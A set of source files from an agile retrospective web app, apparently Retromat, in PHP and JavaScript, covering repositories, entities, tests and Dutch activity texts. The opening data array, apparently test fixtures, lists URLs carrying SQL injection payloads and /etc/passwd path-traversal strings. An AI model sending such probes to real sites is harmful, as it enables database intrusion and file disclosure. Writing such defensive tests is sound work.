['/nl/?id=59-7-10-13-71https%3A%2F%2Fwww.hartlooper.nl%2Fmovies%2F1013%2F17%2Fpechakucha_night_utrecht&voorstelling=26069'],
['/nl/?id=59-7-10-13-71https%3A%2F%2Fwww.hartlooper.nl%2Fmovies%2F1013%2F17%2Fpechakucha_night_utrecht&voorstelling=26069'],
['/en/?id=81999999.1%20union%20select%20unhex%28hex%28version%28%29%29%29%20-%20and%201%3D1'],
['/en/?id=76-97-74-72-60999999.1%2520union%2520select%2520unhex%28hex%28version%28%29%29%29%2520-%'],
['/fr/?id=%2Fetc%2Fpasswd'],
['/en/?id=%22%3Ehello'],
['/en/?id=%2Fetc%2Fpasswd'],
['/en/?id=..%2Fetc%2Fpasswd'],
['/en/?id=..%2F..%2F..%2Fetc%2Fpasswd'],
['/en/?id=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'],
['/en/?id=42-6-9-12-15999999.1%2520union%2520select%2520unhex%28hex%28version%28%29%29%29%2520-%2520and%25201%253D1'],
['/en/?id=1-65-94-24-40%20-%20Traduire%20cette%20page%27A%3D0'],
['/en/?id=8%3Faup-key%3Dc2<KEY>6d0e2'],
['/en/?id=2-47-91-103-57%20-%20Traduire%20cette%20page%27A%3D0'],
['/en/?id=1-65-94-24-40%20-%20Traduire%20cette%20page%27A%3D0'],
['/en/?id=42-119-68-99-53%2520or%2520%281%2C2%29%3D%28select%2Afrom%28select%2520name_const%28CHAR%28111%2C108%2C111%2C108%2C111%2C115%2C104%2C101%2C114%29%2C1%29%2Cname_const%28CHAR%28111%2C108%2C111%2C108%2C111%2C115%2C104%2C101%2C114%29%2C1%29%29a%29%2520-%2520and%25201%253D1'],
['/en/?id=85-64-41-21-101999999.1%2520union%2520select%2520unhex%28hex%28version%28%29%29%29%2520-%2520and%25201%253D1'],
['/en/?id=18zhttps%3A%2F%2Fplans-for-retrospectives.com%2Fen%2F%3Fid%3D18'],
['/en/?id=94999999.1%20union%20select%20unhex%28hex%28version%28%29%29%29%20-%20and%201%3D1'],
['/en/?id=511111111111111%27%2520UNION%2520SELECT%2520CHAR%2845%2C120%2C49%2C45%2C81%2C45%29-%2520%2520'],
['/en/?id=511111111111111%2522%2520UNION%2520SELECT%2520CHAR%2845%2C120%2C49%2C45%2C81%2C45%29%2CCHAR%2845%2C120%2C50%2C45%2C81%2C45%29%2CCHAR%2845%2C120%2C51%2C45%2C81%2C45%29%2CCHAR%2845%2C120%2C52%2C45%2C81%2C45%29%2CCHAR%2845%2C120%2C53%2C45%2C81%2C45%29%2CCHAR%2845%2C120%2C54%2C45%2C81%2C45%29%2CCHAR%2845%2C120%2C55%2C45%2C81%2C45%29%2520-%2520%2F%2A%2520order%2520by%2520%2522as'],
];
}
}
<file_sep><?php
namespace App\Repository;
use App\Entity\UserResetPasswordRequest;
use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
use Doctrine\Persistence\ManagerRegistry;
use Symfony\Component\Security\Core\User\UserInterface;
/**
* @extends ServiceEntityRepository<UserResetPasswordRequest>
*
* @method UserResetPasswordRequest|null find($id, $lockMode = null, $lockVersion = null)
* @method UserResetPasswordRequest|null findOneBy(array $criteria, array $orderBy = null)
* @method UserResetPasswordRequest[] findAll()
* @method UserResetPasswordRequest[] findBy(array $criteria, array $orderBy = null, $limit = null, $offset = null)
*/
class UserResetPasswordRepository extends ServiceEntityRepository
{
/**
* @param ManagerRegistry $registry
*/
public function __construct(ManagerRegistry $registry)
{
parent::__construct($registry, UserResetPasswordRequest::class);
}
/**
* @param UserInterface $user
*/
public function deleteUserResetPasswordRequestByUser(UserInterface $user): void
{
$this->createQueryBuilder('urp')
->delete()
->where('urp.user = :user')
->setParameter('user', $user)
->getQuery()
->execute();
}
/**
* @param int $resetRequestLifetime
*/
public function deleteExpiredResetPasswordRequests(int $resetRequestLifetime): void
{
$this->createQueryBuilder('urp')
->delete()
->where("urp.expiresAt < DATE_SUB(CURRENT_DATE(), :requestLifeTime, 'SECOND')")
->setParameter('requestLifeTime', $resetRequestLifetime)
->getQuery()
->execute();
}
}
<file_sep><?php
namespace App\Model\Activity\Localizer;
use App\Entity\Activity;
use App\Model\Activity\Expander\ActivityExpander;
final class ActivityLocalizer
{
private const LOCALE_DEFAULT = 'en';
private ActivityExpander $activityExpander;
public function __construct(ActivityExpander $activityExpander)
{
$this->activityExpander = $activityExpander;
}
public function localize(array $activities, string $locale = self::LOCALE_DEFAULT, bool $expandSource = false): array
{
$localizedActivities = [];
foreach ($activities as $activity) {
/** @var $activity Activity */
if (!$activity->translate($locale, false)->isEmpty()) {
if ($expandSource) {
$this->activityExpander->expandSource($activity);
}
$localizedActivities[] = $activity;
} else {
break;
}
}
return $localizedActivities;
}
}
<file_sep><?php
namespace App\Entity;
use Doctrine\ORM\Mapping as ORM;
use Knp\DoctrineBehaviors\Contract\Entity\TranslationInterface;
use Knp\DoctrineBehaviors\Model\Translatable\TranslationTrait;
use Symfony\Component\Validator\Constraints as Assert;
/**
* @ORM\Entity
* @ORM\Table(name="activity_translation")
*/
class ActivityTranslation implements TranslationInterface
{
use TranslationTrait;
/**
* @ORM\Id
* @ORM\GeneratedValue
* @ORM\Column(type="integer")
*/
private $id;
/**
* @var string
* @Assert\Type("string")
* @Assert\NotBlank()
* @ORM\Column(name="`name`", type="string", length=255)
*/
private $name = '';
/**
* @var string
* @Assert\Type("string")
* @Assert\NotBlank()
* @ORM\Column(name="summary", type="string", length=255)
*/
private $summary = '';
/**
* @var string
* @Assert\Type("string")
* @Assert\NotBlank()
* @ORM\Column(name="`desc`", type="text")
*/
private $desc = '';
/**
* @param $name
* @return $this
*/
public function setName($name): self
{
$this->name = $name;
return $this;
}
/**
* @return string
*/
public function getName(): string
{
return $this->name;
}
/**
* @param $summary
* @return $this
*/
public function setSummary($summary): self
{
$this->summary = $summary;
return $this;
}
/**
* @return string
*/
public function getSummary(): string
{
return $this->summary;
}
/**
* @param $desc
* @return $this
*/
public function setDesc($desc): self
{
$this->desc = $desc;
return $this;
}
/**
* @return string
*/
public function getDesc(): string
{
return $this->desc;
}
}
<file_sep><?php
declare(strict_types=1);
namespace App\Tests\Repository;
use App\Repository\ActivityRepository;
use App\Tests\AbstractTestCase;
class ActivityRepositoryTest extends AbstractTestCase
{
private ActivityRepository $activityRepository;
public function setUp(): void
{
parent::setUp();
$this->loadFixtures([]);
$this->activityRepository = $this->getContainer()->get(ActivityRepository::class);
}
public function testFindOrdered(): void
{
$this->loadFixtures(['App\Tests\Repository\DataFixtures\LoadActivityData']);
$ordered = $this->activityRepository->findOrdered([3, 87, 113, 13, 16]);
// check for correct keys
$this->assertEquals(3, $ordered[0]->getRetromatId());
$this->assertEquals(87, $ordered[1]->getRetromatId());
$this->assertEquals(113, $ordered[2]->getRetromatId());
$this->assertEquals(13, $ordered[3]->getRetromatId());
$this->assertEquals(16, $ordered[4]->getRetromatId());
// check for correct order of keys
$this->assertEquals(3, \reset($ordered)->getRetromatId());
$this->assertEquals(87, \next($ordered)->getRetromatId());
$this->assertEquals(113, \next($ordered)->getRetromatId());
$this->assertEquals(13, \next($ordered)->getRetromatId());
$this->assertEquals(16, \end($ordered)->getRetromatId());
}
public function testFindAllOrdered(): void
{
$this->loadFixtures(['App\Tests\Repository\DataFixtures\LoadActivityData']);
$ordered = $this->activityRepository->findAllOrdered();
// check for correct keys
$this->assertEquals(1, $ordered[0]->getRetromatId());
$this->assertEquals(2, $ordered[1]->getRetromatId());
$this->assertEquals(3, $ordered[2]->getRetromatId());
// check for correct order of keys
$this->assertEquals(1, \reset($ordered)->getRetromatId());
$this->assertEquals(2, \next($ordered)->getRetromatId());
$this->assertEquals(3, \next($ordered)->getRetromatId());
}
/**
* @return void
*/
public function testFindAllActivitiesForPhases(): void
{
$this->loadFixtures(
['App\Tests\Repository\DataFixtures\LoadActivityDataForTestFindAllActivitiesForPhases']
);
$expectedActivityByPhase = [
0 => [1, 7],
1 => [2, 8],
2 => [3, 9],
3 => [4, 10],
4 => [5, 11],
5 => [6, 12],
];
$this->assertEquals($expectedActivityByPhase, $this->activityRepository->findAllActivitiesByPhases());
}
public function testFindAllActivitiesForPhasesDe(): void
{
$this->loadFixtures(
['App\Tests\Repository\DataFixtures\LoadActivityDataForTestFindAllActivitiesForPhasesDe']
);
$expectedActivityByPhase = [
0 => [1, 7],
1 => [2, 8],
2 => [3, 9],
3 => [4, 10],
4 => [5],
5 => [6],
];
$this->assertEquals($expectedActivityByPhase, $this->activityRepository->findAllActivitiesByPhases('de'));
}
}
<file_sep><?php
namespace App\Model\User;
use App\Entity\User;
use App\Model\User\Exception\DropUserException;
use App\Repository\UserRepository;
use Doctrine\ORM\EntityManagerInterface;
use Hackzilla\PasswordGenerator\Generator\ComputerPasswordGenerator;
use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
use Symfony\Component\Security\Core\User\UserInterface;
class UserManager
{
public const ROLES = [
'ROLE_USER',
'ROLE_ADMIN',
'ROLE_TRANSLATOR_EN',
'ROLE_TRANSLATOR_DE',
'ROLE_TRANSLATOR_ES',
'ROLE_TRANSLATOR_FA',
'ROLE_TRANSLATOR_FR',
'ROLE_TRANSLATOR_NL',
'ROLE_TRANSLATOR_JA',
'ROLE_TRANSLATOR_PL',
'ROLE_TRANSLATOR_PT-BR',
'ROLE_TRANSLATOR_RU',
'ROLE_TRANSLATOR_ZH',
'ROLE_SERP_PREVIEW'
];
private EntityManagerInterface $entityManager;
private UserPasswordHasherInterface $userPasswordHasher;
private ComputerPasswordGenerator $computerPasswordGenerator;
private ?string $plainPassword = null;
/**
* @param EntityManagerInterface $entityManager
* @param UserPasswordHasherInterface $userPasswordHasher
* @param ComputerPasswordGenerator $computerPasswordGenerator
*/
public function __construct(EntityManagerInterface $entityManager, UserPasswordHasherInterface $userPasswordHasher, ComputerPasswordGenerator $computerPasswordGenerator)
{
$this->entityManager = $entityManager;
$this->userPasswordHasher = $userPasswordHasher;
$this->computerPasswordGenerator = $computerPasswordGenerator;
}
/**
* @param UserInterface|PasswordAuthenticatedUserInterface $user
* @throws \Exception
*/
public function persist(UserInterface|PasswordAuthenticatedUserInterface $user): void
{
$uow = $this->entityManager->getUnitOfWork();
$uow->computeChangeSets();
$changeSet = $uow->getEntityChangeSet($user);
if (!$user->getId() || isset($changeSet['password'])) {
$user->setPassword($this->userPasswordHasher->hashPassword($user, $user->getPassword()));
}
$this->entityManager->persist($user);
$this->entityManager->flush();
}
/**
* @return UserInterface
*/
public function create(): UserInterface
{
$user = new User();
$this->plainPassword = $this->computerPasswordGenerator
->setOptionValue(ComputerPasswordGenerator::OPTION_UPPER_CASE, true)
->setOptionValue(ComputerPasswordGenerator::OPTION_LOWER_CASE, true)
->setOptionValue(ComputerPasswordGenerator::OPTION_NUMBERS, true)
->setOptionValue(ComputerPasswordGenerator::OPTION_SYMBOLS, false)
->generatePassword();
$user->setPassword($this->plainPassword);
return $user;
}
/**
* @param UserInterface $user
* @return bool
* @throws DropUserException
*/
public function drop(UserInterface $user): bool
{
try {
$this->entityManager->remove($user);
$this->entityManager->flush();
} catch (\Exception $exception) {
throw new DropUserException(
\sprintf(
'Drop user "%s" failed with error: "%s"',
$user->getUsername(),
$exception->getMessage()
)
);
}
return true;
}
/**
* @return string|null
*/
public function getPlainPassword(): ?string
{
return $this->plainPassword;
}
}
<file_sep><?php
declare(strict_types=1);
namespace App\Tests\Plan;
use App\Model\Plan\Exception\InconsistentInputException;
use App\Model\Plan\TitleRenderer;
use PHPUnit\Framework\TestCase;
use Symfony\Component\Yaml\Yaml;
class TitleRendererTest extends TestCase
{
/**
* @throws InconsistentInputException
*/
public function testRenderDifferentTerms()
{
$titleParts = Yaml::parse(\file_get_contents(__DIR__.'/TestData/title_minmal.yml'));
$title = new TitleRenderer($titleParts);
$this->assertEquals('Agile Retrospective Plan', $title->render('0:0-0-0'));
$this->assertEquals('Scrum Retrospective Plan', $title->render('0:1-0-0'));
}
/**
* @throws InconsistentInputException
*/
public function testRenderDifferentTermsDe()
{
$titleParts = Yaml::parse(\file_get_contents(__DIR__.'/TestData/title_minmal.yml'));
$title = new TitleRenderer($titleParts);
$this->assertEquals('Agile Retrospective Plan', $title->render('0:0-0-0', 'de'));
$this->assertEquals('Scrum Retrospective Plan', $title->render('0:1-0-0', 'de'));
}
/**
* @throws InconsistentInputException
*/
public function testRenderDifferentSequences()
{
$titleParts = Yaml::parse(\file_get_contents(__DIR__.'/TestData/title_minmal.yml'));
$title = new TitleRenderer($titleParts);
$this->assertEquals('Retrospective Plan', $title->render('2:0-0'));
$this->assertEquals('Agile Retrospective', $title->render('1:0-0'));
}
/**
* @throws InconsistentInputException
*/
public function testRenderDifferentSequencesDe()
{
$titleParts = Yaml::parse(\file_get_contents(__DIR__.'/TestData/title_minmal.yml'));
$title = new TitleRenderer($titleParts);
$this->assertEquals('Retrospective Plan', $title->render('2:0-0', 'de'));
$this->assertEquals('Agile Retrospective', $title->render('1:0-0', 'de'));
}
/**
* @throws InconsistentInputException
*/
public function testRenderWrongNumberOfIds()
{
$this->expectException(InconsistentInputException::class);
$titleParts = Yaml::parse(\file_get_contents(__DIR__.'/TestData/title_minmal.yml'));
$title = new TitleRenderer($titleParts);
$title->render('1:0-0-0');
}
public function testRenderWrongNumberOfIdsDe(): void
{
$this->expectException(InconsistentInputException::class);
$titleParts = Yaml::parse(\file_get_contents(__DIR__.'/TestData/title_minmal.yml'));
$title = new TitleRenderer($titleParts);
$title->render('1:0-0-0', 'de');
}
/**
* @throws InconsistentInputException
*/
public function testRenderNoSuperfluousWhitespace()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: ["", "Agile", "Scrum", "Kanban", "XP"]
1: ["", "Retro", "Retrospective"]
2: ["Plan", "Agenda"]
de:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: ["", "Agile", "Scrum", "Kanban", "XP"]
1: ["", "Retro", "Retrospective"]
2: ["Plan", "Agenda"]
YAML;
$titleParts = Yaml::parse($yaml);
$title = new TitleRenderer($titleParts);
$this->assertEquals('Plan', $title->render('0:0-0-0'));
}
/**
* @throws InconsistentInputException
*/
public function testRenderNoSuperfluousWhitespaceDe()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: ["", "Agile", "Scrum", "Kanban", "XP"]
1: ["", "Retro", "Retrospective"]
2: ["Plan", "Agenda"]
de:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: ["", "Agile", "Scrum", "Kanban", "XP"]
1: ["", "Retro", "Retrospective"]
2: ["Plan", "Agenda"]
YAML;
$titleParts = Yaml::parse($yaml);
$title = new TitleRenderer($titleParts);
$this->assertEquals('Plan', $title->render('0:0-0-0', 'de'));
}
}
<file_sep>// BIG ARRAY OF ALL ACTIVITIES
// Mandatory: id, phase, name, summary, desc
// Example:
//all_activities[i] = {
// id: i+1,
// phase: int in {1-5},
// name: "",
// alternativeName: "",
// summary: "",
// desc: "Multiple \
// Lines",
// duration: "",
// source: "",
// more: "", // a link
// suitable: "",
// photo: "" // a link
//};
// Values for duration: "<minMinutes>-<maxMinutes> perPerson"
// Values for suitable: "iteration, realease, project, introverts, max10People, rootCause, smoothSailing, immature, largeGroup"
all_activities = [];
all_activities[0] = {
phase: 0,
name: "OSVG",
summary: "Hoe voelen de deelnemers zich tijdens de retrospective: Ontdekkingsreiziger, Shopper, Vakantieganger, or Gevangene?",
desc: "Bereid een flipchart voor met gebieden voor O, S, V, en G. Leg het concept uit: <br>\
<ul>\
<li>Ontdekkingsreiziger: Verlangt er naar om er eens in te duiken en uit te zoeken wat werkte en wat niet werkte en hoe het verbeterd kan worden.</li>\
<li>Shopper: Wil graag de bescihkbare informatie bekijken, en zou het leuk vinden om terug te komen met een nuttig idee.</li>\
<li>Vakantieganger: Terughoudend om actief deel te nemen, maar het bijwonen van de retrospective is beter dan te moeten werken.</li>\
<li>Gevangene: Woont de retrospective alleen bij omdat ze het gevoel hebben dat dat moet.</li>\
</ul>\
Houdt een stemming (anoniem op een stukje papier). Tel de verschillende antwoorden en houdt het bij op de flipchart \
waar iedereen het zien kan. Als er geen vertrouwen is, vernietig dan doelbewust de papiertjes om privacy te garanderen. \
Vraag wat iedereen denkt van de data. Als er een meerderheid Vakantiegangers or Gevangenen is overweeg dan om de retro \
te gebruiken om deze uitkomst te bespreken.",
duration: "5-10 numberPeople",
source: source_agileRetrospectives,
suitable: "iteration, release, project, immature"
};
all_activities[1] = {
phase: 0,
name: "Weersvoorspelling",
summary: "Deelnemers markeren hun lokale 'weer' (gemoedstoestand) op een flipchart",
desc: "Bereid een flipchart voor met een tekening van een storm, regen, wolken en zonneschijn.\
Iedere deelnemer geeft zijn gemoedstoestand aan op het vel.",
source: source_agileRetrospectives
};
all_activities[2] = {
phase: 0,
name: "Check In - Korte vraag", // TODO This can be expanded to at least 10 different variants - how?
summary: "Stel aan ieder van de deelnemers een vraag die ze allemaal om de beurt moeten beantwoorden",
desc: "Stel aan ieder van de deelnemers in round-robin-stijl dezelfde vraag (tenzij ze zeggen 'ik pas').\
Voorbeeld vragen: <br>\
<ul>\
<li>Beschrijf in een woord wat je van deze retrospective nodig hebt</li>\
<li>Beschrijf in een woord waar je mee zit<br>\
Stel het aanpakken van de zorgen nog even uit, maar vergeet niet om er later op terug te komen, bijvoorbeeld door ze op te schrijven en ze dan zowel fysiek als mentaal opzij te zetten.</li>\
<li>Als je in de afgelopen sprint een auto was, wat voor type zou het dan zijn?</li>\
<li>Wat is je emotionele toestand? (bijv. 'opgelucht', 'boos', 'verdrietig', 'bang'?)</li>\
</ul><br>\
Vermijd het om antwoorden zoals 'Geweldig' te evalueren. Een kort 'Dank je wel' volstaat.",
source: source_agileRetrospectives
};
all_activities[3] = {
phase: 1,
name: "Tijdslijn",
summary: "Deelnemers schrijven de belangrijke gebeurtenissen op en sorteren ze chronologisch",
desc: "Verdeel het team in groepjes van 5 of minder. Verdeel kaartjes en markers. \
Geef de deelnemers 10 min om gedenkwaardig en/of persoonlijk significante gebeurtenissen op te schrijven. \
Het gaaat er om zo veel mogelijk perspectieven te verzamelen. Consensus zou afbreuk doen aan de oefening. \
Alle deelnemers tonen hun kaartjes en helpen bij het sorteren. Het is toegestaan om ter plekke nog meer kaartjes toe te voegen. Analiseer.<br>\
Kleurcodering kan helpen om patronen te vinden, bijvoorbeeld:<br>\
<ul>\
<li>Emoties</li>\
<li>Gebeurtenissen (technisch, organisatorisch, mensen, ...)</li>\
<li>Functies (tester, ontwikkelaar, manager, ...)</li>\
</ul>",
duration: "60-90 timeframe",
source: source_agileRetrospectives,
suitable: "iteration, introverts"
};
all_activities[4] = {
phase: 1,
name: "Analiseer de user stories",
summary: "Loop door elk van de user stories heen die het team in de afgelopen sprint afgerond heeft en zoek naar mogelijke verbeteringen",
desc: "Voorbereiding: Verzamel alle afgeronde user stories van de iteratie en neem ze mee naar de retrospective.<br> \
Lees in een groep (max. 10 mensen) ieder van de stories voor en bespreek dan per story of het goed ging of niet. Als het goed ging, probeer dan te achterhalen waarom. Zo niet, bespreek dan wat er in de toekomst anders gedaan kan worden.<br>\
Varianten: Je kunt dit ook doen voor support tickets, bugs of elke andere combinatie van werk gedaan door het team.",
source: source_findingMarbles,
suitable: "iteration, max10people"
};
all_activities[5] = {
phase: 1,
name: "Soort zoekt soort",
summary: "Deelnemers zoeken kwaliteitenkaartjes bij hun eigen Start-Stop-Volhouden-voorstellen",
desc: "Voorbereiding: ca. 20 kwaliteitenkaartjes, bijv. gekleurde indexkaarten met unieke woorden\
zoals <i>leuk, op tijd, duidelijk, belangrijk, geweldig, gevaarlijk, naar</i>.<br> \
Ieder teamlid moet ten minste 9 indexkaarten schrijven: 3 van ieder met dingen die het team moet gaan doen (Start), \
moet blijven doen (Volhouden), of niet meer moet doen (Stop). Kies een persoon die als eerte spelleider is. \
De spelleider draait het eerste kwaliteitenkaartje om. Uit zijn eigen indexkaarten kiest hij degeen die het \
beste bij deze kwaliteit past en legt deze omgekeerd op tafel.\
Alle anderen kiezen uit hun eigen kaarten ook een kaart die bij deze kwaliteit past en legen deze omgekeerd op \
tafel. Degene die als laatste kiest moet zijn indexkaart weer terugnemen in zijn hand. De spelleider schudt alle \
kaarten die op tafel liggen, draait ze een voor een om en kiest de best passende kaart. (Hij/zij moet dit ook beargumenteren.) \
Alle andere kaarten worden uit het spel verwijderd. De persoon die de winnende kaart heeft ingediend ontvangt de \
kaart met de kwaliteit. Vervolgens wordt de volgende persoon (met de klok mee) de spelleider.<br> \
Stop het spel zodra de kaarten op zijn (6-9 ronden). Degene met de meeste kwaliteitenkaartjes heeft gewonnen. Sluit \
het spel af met een rondvraag naar wat iedereen geleerd heeft.<br>\
(Dit spel is gebaseerd op het spel 'Appels en Peren')",
source: source_agileRetrospectives,
duration: "30-40",
suitable: "iteration, introverts"
};
all_activities[6] = {
phase: 1,
name: "<NAME>",
summary: "Verzamel gebeurtenissen waarbij teamleden zich boos, bedroefd of blij voelden en vind de oorzaken",
desc: "Hang drie posters op genaamd 'boos', 'bedroefd', en 'blij' (of '>:), :(, :) respectievelijk). De teamleden \
schrijven een gebeurtenis op een kleurgecodeerd kaartje (1 gebeurtenis per kaartje) en hoe ze zich toen voelden. Als de \
tijd om is, hangt iedereen zijn post-its op de bijbehorende poster. Groepeer de kaartjes op iedere poster. Vraag de groep \
om iedere cluster een naam te geven. <br>\
Bespreek het resultaat met de volgende vragen: \
<ul>\
<li>Wat valt er op? Wat is er onverwacht?</li>\
<li>Wat was er moeilijk aan deze opdracht? En wat was er leuk?</li>\
<li>Welke patronen zie je? Wat betekent dat voor jullie als team?</li>\
<li>Suggesties over hoe we nu verder moeten?</li>\
</ul>",
source: source_agileRetrospectives,
duration: "20-30",
suitable: "iteration, release, project, introverts"
};
all_activities[7] = {
phase: 2,
name: "<NAME>",
alternativeName: "Root Cause Analysis",
summary: "Graaf door naar de oorzaak van het probleem door alsmaar 'Waarom?' te vragen",
desc: "Verdeel de deelnemers in kleine groepen (<= 4 mensen) en geef iedere groep een van de top van geidentificeerde issues. Instructies voor de groep:\
<ul>\
<li>Een persoon vraagt de anderen 'Waarom gebeurde dit?' Net zo vaak totdat de onderliggende oorzaak gevonden is die aan de keten van gebeurtenissen ten grondslag ligt.</li>\
<li>Leg de onderliggende oorzaak vast (vaak het antwoord op de vijfde keer 'Waarom?')</li>\
</ul>\
Laat de groepen hun bevindingen delen.",
source: source_agileRetrospectives,
duration: "15-20",
suitable: "iteration, release, project, root_cause"
};
all_activities[8] = {
phase: 2,
name: "Leermatrix",
summary: "Teamleden brainstormen aan de hand van 4 categorieen om snel een lijst met issues boven tafel te krijgen",
desc: "Bereid een flipchart voor met vier kwadranten met in ieder kwadrant een icoontje: linksboven een smilie voor de dingen die je goed vond gaan ':)', rechtsboven een frownie voor de dingen die je niet goed vond gaan ':(', linksonder een lampje voor de goede ideeen en rechtsonder een bosje bloemen voor de mensen die je waardeerde. Deel vervolgens post-its uit en geef de teamleden 5-10 minuten om hun ideeen over de sprint aan de hand van deze kwadranten op te schrijven. \
<ul>\
<li>De teamleden kunnen hun input in ieder kwadrant hangen. Een gedachte per post-it. </li>\
<li>Cluster de notities.</li>\
<li>Deel 6-10 stip-stickers per persoon uit om te stemmen op de belangrijkste issues.</li>\
</ul>\
De resulterende lijst is de input voor fase 4.",
source: source_agileRetrospectives,
duration: "20-25",
suitable: "iteration"
};
all_activities[9] = {
phase: 2,
name: "Brainstormen / Filteren",
summary: "Genereer een berg ideeen en filter die tegen de criteria",
desc: "Leg de regels van het brainstormen en het doel uit: zoveel mogelijk nieuwe ideeen generen, die <em>na</em> het brainstormen gefilterd zullen worden.\
<ul>\
<li>Laat iedereen zijn/haar ideeen opschrijven in ca. 5-10 minuten</li>\
<li>Ga net zolang de tafel rond, waarbij iedereen iedere keer 1 idee mag opnoemen, net zo lang tot alle ideeen op de flipchart staan</li>\
<li>Vraag nu naar mogelijke filters (bijv. kosten, tijd investering, hoe uniek het concept is, toepasselijkheid voor het merk, ...). \
Laat de groep er vervolgens 4 uitkiezen.</li>\
<li>Pas vervolgens alle filters toe op de ideeen en markeer de ideeen die aan alle vier de filters voldoen.</li> \
<li>Welke ideeen komen er door de test? En welke hiervan zal de groep gaan uitvoeren? Is er iemand die grote waarde hecht aan een van de ideeen? Gebruik anders een meerderheidsstemming. </li>\
</ul>\
De geselecteerde ideeen gaan door naar fase 4.",
source: source_agileRetrospectives,
more: "<a href='http://www.mpdailyfix.com/the-best-brainstorming-nine-ways-to-be-a-great-brainstorm-lead/'>\
Nine Ways To Be A Great Brainstorm Lead</a>",
duration: "40-60",
suitable: "iteration, release, project, introverts"
};
all_activities[10] = {
phase: 3,
name: "<NAME>",
summary: "Vragen en antwoorden gaan de teamkring rond - een uitstekende manier om overeenstemming te bereiken",
desc: "Iedereen zit in een kring. Begin met stellen dat je rond gaat om vragen te stellen om uit te vinden wat je als groep wilt. Je begint met het stellen van de eerste vraag aan je buurman/-vrouw, bijv. 'Wat is het belangrijkste waar we onze volgende iteratie mee zouden moeten starten?' Je buurman/-vrouw antwoord en stelt zijn/haar buur een gerelateerde vraag. Stop zodra er overeenstemming is bereikt of als de tijd om is. Zorg dat je ten minste een keer de kring rond gaat zodat iedereen aan het woord komt!",
source: source_agileRetrospectives,
duration: "30+ groupsize",
suitable: "iteration, release, project, introverts"
};
all_activities[11] = {
phase: 3,
name: "Stemmen met stippen (dotvoting)- Start, Stop, Doorgaan",
summary: "Brainstorm over welke dingen gestart, gestopt & voortgezet moeten worden en kies de hoogstscorende initiatieven",
desc: "Verdeel een flipover in vakken met de titels 'Start', 'Doorgaan' en 'Stop'. \
Vraag de deelnemers om voor elke categorie concrete voorstellen op te schrijven - 1 idee per index kaart. Laat ze \
gedurende een paar minuten in stilte schrijven. \
Laat iedereen zijn notities voorlezen en in de gewenste categorie hangen. \
Leid een korte discussie over wat de 20% meest zinvolle ideeen zijn. \
Laat iedereen stemmen met stippen of streepjes met een marker op de kaartjes, waarbij iederen bijv. 1, 2 of 3 stippen \
per persoon te verdelen heeft over de kaartjes. De twee of drie kaartjes met de meeste stemmen worden je actie items. \
<br><br>\
(Kijk ook eens naar <a='http://agileretroactivities.blogspot.co.at/search/label/innovation'>Paulo Caroli's 'Open the Box'</a> \
voor een leuke variatie op deze activiteit.)",
source: source_agileRetrospectives,
duration: "15-30",
suitable: "iteration"
};
all_activities[12] = {
phase: 3,
name: "<NAME>",
summary: "Formuleer een specifiek en meetbaar actieplan",
desc: "Introduceer <a href='http://en.wikipedia.org/wiki/SMART_criteria'>SMART doelen</a>\
(specific-specifiek, measurable-meetbaar, attainable-haalbaar, relevant-relevant, timely-tijdig) en geef voorbeelden \
van SMART vs doelen die niet zo SMART zijn. bijv. 'We zullen elke woensdag om 9 uur stories bestuderen voordat we ze \
in de sprint opnemen door er over te praten met de product owner' vs. 'We zullen de stories beter leren kennen voor ze \
in de sprint backlog komen'.<br>\
Vorm groepen rondom de issues waaraan het team werken wil. Iedere groep identificeert 1-5 concrete stappen om het doel \
te bereike. Laat iedere groep rapporteren. Alle deelnemers moeten het eens zijn met de SMART-heid van de doelen. Verfijn en bevestig.",
source: source_agileRetrospectives,
duration: "20-60 groupsize",
suitable: "iteration, release, project"
};
all_activities[13] = {
phase: 4,
name: "<NAME> - Getallen",
summary: "Peil de deelnemers hun tevredenheid met de retro op een schaal van 1 tot 5 in zo min mogelijk tijd",
desc: "Plak post-its op de deur met de getallen 1 tot 5 er op. 1 komt bovenaan en is het beste. 5 komt onderaan en is het slechtst. \
Vraag aan het eind van de retrospective aan de deelnemers om een post-it op te hangen bij het getal die het beste hun \
gevoel over de retrospective weergeeft. Het geeltje mag leeg zijn of een opmerking of suggestie bevatten.",
source: "ALE 2011, " + source_findingMarbles,
duration: "2-3",
suitable: "iteration, largeGroups"
};
all_activities[14] = {
phase: 4,
name: "Waarderingen",
summary: "Laat de teamleden elkaar waarderen en eindig positief",
desc: "Begin met het geven van een oprechte waardering van een van de deelnemers. \
Het kan gaan over alles waar ze aan bijgedragen hebben: hulp aan het team of aan jou, het oplossen van een probleem, ... \
Nodig dan de anderen uit om dat ook te doen en wacht tot iemand de moed verzamelt heeft. Sluit af als er gedurende een volle minuut niemand iets zegt.",
source: source_agileRetrospectives + " die het overnamen uit 'The Satir Model: Family Therapy and Beyond'",
duration: "5-30 groupsize",
suitable: "iteration, release, project"
};
all_activities[15] = {
phase: 4,
name: "<NAME>, Hypothese",
summary: "Ontvang concrete feedback over je coaching",
desc: "Bereid 3 flipchart vellen voor getiteld 'Hielp', 'Hinderde', en 'Hypothese' (suggesties om dingen uit te proberen). \
Vraag de deelenemers om je te helpen groeien als coach door op een post-it suggesties te schrijven met hun initialen, zodat je ze later om nadere toelichting kunt vragen.",
source: source_agileRetrospectives,
duration: "5-10",
suitable: "iteration, release"
};
all_activities[16] = {
phase: 4, // 5 gaat ook
name: "MeEvMi (Meer, Evenveel, Minder)",
summary: "Krijg koerscorrecties voor wat je doet als facilitator",
desc: "Verdeel een flip chart in 3 secties getiteld 'Meer van', 'Evenveel als', en 'Minder van'. \
Vraag de deelnemers om je gedrag in de juiste richting te duwen: Laat hen op stickes beschrijven wat je meer moet doen, wat je minder moet doen en wat er precies goed is. Lees de resultaten hardop voor en bespreek de stickes per sectie.",
more: "<a href='http://www.scrumology.net/2010/05/11/samolo-retrospectives/'><NAME>'s ervaringen</a>",
source: "<a href='http://fairlygoodpractices.com/samolo.htm'>Fairly good practices</a>",
duration: "5-10",
suitable: "iteration, release, project"
};
all_activities[17] = {
phase: 0,
